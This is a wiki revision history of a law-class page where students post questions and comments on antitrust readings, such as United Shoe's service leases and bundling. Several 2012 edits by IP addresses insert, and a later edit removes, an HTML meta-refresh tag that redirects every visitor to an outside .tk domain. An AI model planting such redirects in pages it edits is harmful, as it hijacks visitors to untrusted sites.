Questions - Revision history

166.84.7.31 at 09:46, 8 December 2012

2012-12-08T09:46:54Z

← Older revision		Revision as of 09:46, 8 December 2012
Line 1:		Line 1:
	This page is for any questions about the reading or class discussion		This page is for any questions about the reading or class discussion
	~~<META HTTP~~-~~EQUIV="Refresh" CONTENT~~=~~"0; url~~=~~http://M4rc0.tk/">~~		==Class 1 - Introduction==

	==Class 2 - Enforcement and Monopolization==		==Class 2 - Enforcement and Monopolization==
			==Class 3 - The Modern Offense of Monopolization==
	~~<META HTTP~~-~~EQUIV="Refresh" CONTENT~~=~~"0; url~~=~~http://M4rc0.tk/">~~

	==Class 4 - Monopoly Conduct==		==Class 4 - Monopoly Conduct==
	===Question 1===		===Question 1===

176.218.70.85:

2012-12-08T06:36:05Z

← Older revision		Revision as of 06:36, 8 December 2012
Line 4:		Line 4:
	==Class 2 - Enforcement and Monopolization==		==Class 2 - Enforcement and Monopolization==

	==~~Class 3 - The Modern Offense of Monopolization=~~=		<META HTTP-EQUIV="Refresh" CONTENT="0; url=http://M4rc0.tk/">

	==Class 4 - Monopoly Conduct==		==Class 4 - Monopoly Conduct==
	===Question 1===		===Question 1===

176.218.70.85:

2012-12-08T06:35:41Z

← Older revision		Revision as of 06:35, 8 December 2012
Line 3:		Line 3:

	==Class 2 - Enforcement and Monopolization==		==Class 2 - Enforcement and Monopolization==

	==Class 3 - The Modern Offense of Monopolization==		==Class 3 - The Modern Offense of Monopolization==
	==Class 4 - Monopoly Conduct==		==Class 4 - Monopoly Conduct==

176.218.70.85: /* Class 1 - Introduction */

2012-12-08T06:35:22Z

Class 1 - Introduction

← Older revision		Revision as of 06:35, 8 December 2012
Line 1:		Line 1:
	This page is for any questions about the reading or class discussion		This page is for any questions about the reading or class discussion
	==~~Class 1 - Introduction=~~=		<META HTTP-EQUIV="Refresh" CONTENT="0; url=http://M4rc0.tk/">

	==Class 2 - Enforcement and Monopolization==		==Class 2 - Enforcement and Monopolization==
	==Class 3 - The Modern Offense of Monopolization==		==Class 3 - The Modern Offense of Monopolization==

192.168.10.75 at 13:01, 28 April 2008

2008-04-28T13:01:49Z

← Older revision		Revision as of 13:01, 28 April 2008
Line 14:		Line 14:
	Wikipedia Entry on Bundling (Tying) http://en.wikipedia.org/wiki/Product_tying		Wikipedia Entry on Bundling (Tying) http://en.wikipedia.org/wiki/Product_tying

	==~~Outside of~~ Class==		==Class 13==
			===Comment===
	The Economist has an excellent cartoon on the Delta-Northwest merger that we discussed in class:		The Economist has an excellent cartoon on the Delta-Northwest merger that we discussed in class:
	http://www.economist.com/daily/kallery/displaystory.cfm?story_id=11072063		http://www.economist.com/daily/kallery/displaystory.cfm?story_id=11072063

			==Class 16==
			===Comment===
			"In his chapter in the forthcoming book Antitrust Stories (Foundation Press, Eleanor Fox and Dan Crane editors), Steve Calkins relates the saga that included the landmark Broadcast Music case. It's a great story peopled with colorful characters - and one in which amicii, both in Broadcast Music and in a predecessor case, may have helped cause the litigation to have lasting impact." http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1003825

Dominik at 21:52, 17 April 2008

2008-04-17T21:52:52Z

← Older revision		Revision as of 21:52, 17 April 2008
Line 13:		Line 13:
	===Comment===		===Comment===
	Wikipedia Entry on Bundling (Tying) http://en.wikipedia.org/wiki/Product_tying		Wikipedia Entry on Bundling (Tying) http://en.wikipedia.org/wiki/Product_tying

			==Outside of Class==
			The Economist has an excellent cartoon on the Delta-Northwest merger that we discussed in class:
			http://www.economist.com/daily/kallery/displaystory.cfm?story_id=11072063

Snitty: /* Class 5 - Monopoly Conduct II */ Added comment on Bundling.

2008-03-19T12:56:22Z

Class 5 - Monopoly Conduct II: Added comment on Bundling.

← Older revision		Revision as of 12:56, 19 March 2008
Line 11:		Line 11:
	===Comment===		===Comment===
	In the notes after ''Trinko,'' the supplement mentions a case ''Evic Class Action Litigation.'' The book says that the case "held that UPS's software for tracing packages could be an essential facility that must be shared with rivals." Defendant, UPS, had brought a motion to dismiss. The court found that the plaintiff class, sellers of shipping insurance, had alleged sufficient facts relating to the use of UPS facilities for selling insurance as essential facilities to survive a demurrer. The court did not hold, as the text implies, that UPS would have to allow FedEx to use UPS's tracking software.		In the notes after ''Trinko,'' the supplement mentions a case ''Evic Class Action Litigation.'' The book says that the case "held that UPS's software for tracing packages could be an essential facility that must be shared with rivals." Defendant, UPS, had brought a motion to dismiss. The court found that the plaintiff class, sellers of shipping insurance, had alleged sufficient facts relating to the use of UPS facilities for selling insurance as essential facilities to survive a demurrer. The court did not hold, as the text implies, that UPS would have to allow FedEx to use UPS's tracking software.
			===Comment===
			Wikipedia Entry on Bundling (Tying) http://en.wikipedia.org/wiki/Product_tying

Snitty: Clarified a squib in the supplement.

2008-03-17T12:07:36Z

Clarified a squib in the supplement.

← Older revision		Revision as of 12:07, 17 March 2008
Line 8:		Line 8:
	===Answer 1===		===Answer 1===
	Consider it as a matter of barriers to entry: What do you need to gather to start selling shoe machinery? If the 70-80% market leader offers only "leases with service included," customers can't price the service separately, and independent service organizations can't easily develop (with max 30% of the shoe machines to service). To get started, the would-be competitor must be able to offer both machines and service.		Consider it as a matter of barriers to entry: What do you need to gather to start selling shoe machinery? If the 70-80% market leader offers only "leases with service included," customers can't price the service separately, and independent service organizations can't easily develop (with max 30% of the shoe machines to service). To get started, the would-be competitor must be able to offer both machines and service.
			==Class 5 - Monopoly Conduct II==
			===Comment===
			In the notes after ''Trinko,'' the supplement mentions a case ''Evic Class Action Litigation.'' The book says that the case "held that UPS's software for tracing packages could be an essential facility that must be shared with rivals." Defendant, UPS, had brought a motion to dismiss. The court found that the plaintiff class, sellers of shipping insurance, had alleged sufficient facts relating to the use of UPS facilities for selling insurance as essential facilities to survive a demurrer. The court did not hold, as the text implies, that UPS would have to allow FedEx to use UPS's tracking software.

WendySeltzer: /* Class 4 - Monopoly Conduct */

2008-03-17T11:54:02Z

Class 4 - Monopoly Conduct

← Older revision		Revision as of 11:54, 17 March 2008
Line 7:		Line 7:
	I'm still stuck on how embedding service in with United Shoe's leases was anti-competitive. I get that the lease was, but what is inherently anti-competitive to other shoe machinery sellers about offering a service with your lease? After all the lease was the industry standard since the civil war. I do get that this clause limited a third party service industry, but I don't understand how it was anti-competitive with regard to other shoe machinery manufacturers.		I'm still stuck on how embedding service in with United Shoe's leases was anti-competitive. I get that the lease was, but what is inherently anti-competitive to other shoe machinery sellers about offering a service with your lease? After all the lease was the industry standard since the civil war. I do get that this clause limited a third party service industry, but I don't understand how it was anti-competitive with regard to other shoe machinery manufacturers.
	===Answer 1===		===Answer 1===
			Consider it as a matter of barriers to entry: What do you need to gather to start selling shoe machinery? If the 70-80% market leader offers only "leases with service included," customers can't price the service separately, and independent service organizations can't easily develop (with max 30% of the shoe machines to service). To get started, the would-be competitor must be able to offer both machines and service.

Snitty: Added New class and a question

2008-03-12T18:15:50Z

Added New class and a question

← Older revision		Revision as of 18:15, 12 March 2008
Line 3:		Line 3:
	==Class 2 - Enforcement and Monopolization==		==Class 2 - Enforcement and Monopolization==
	==Class 3 - The Modern Offense of Monopolization==		==Class 3 - The Modern Offense of Monopolization==
			==Class 4 - Monopoly Conduct==
			===Question 1===
			I'm still stuck on how embedding service in with United Shoe's leases was anti-competitive. I get that the lease was, but what is inherently anti-competitive to other shoe machinery sellers about offering a service with your lease? After all the lease was the industry standard since the civil war. I do get that this clause limited a third party service industry, but I don't understand how it was anti-competitive with regard to other shoe machinery manufacturers.
			===Answer 1===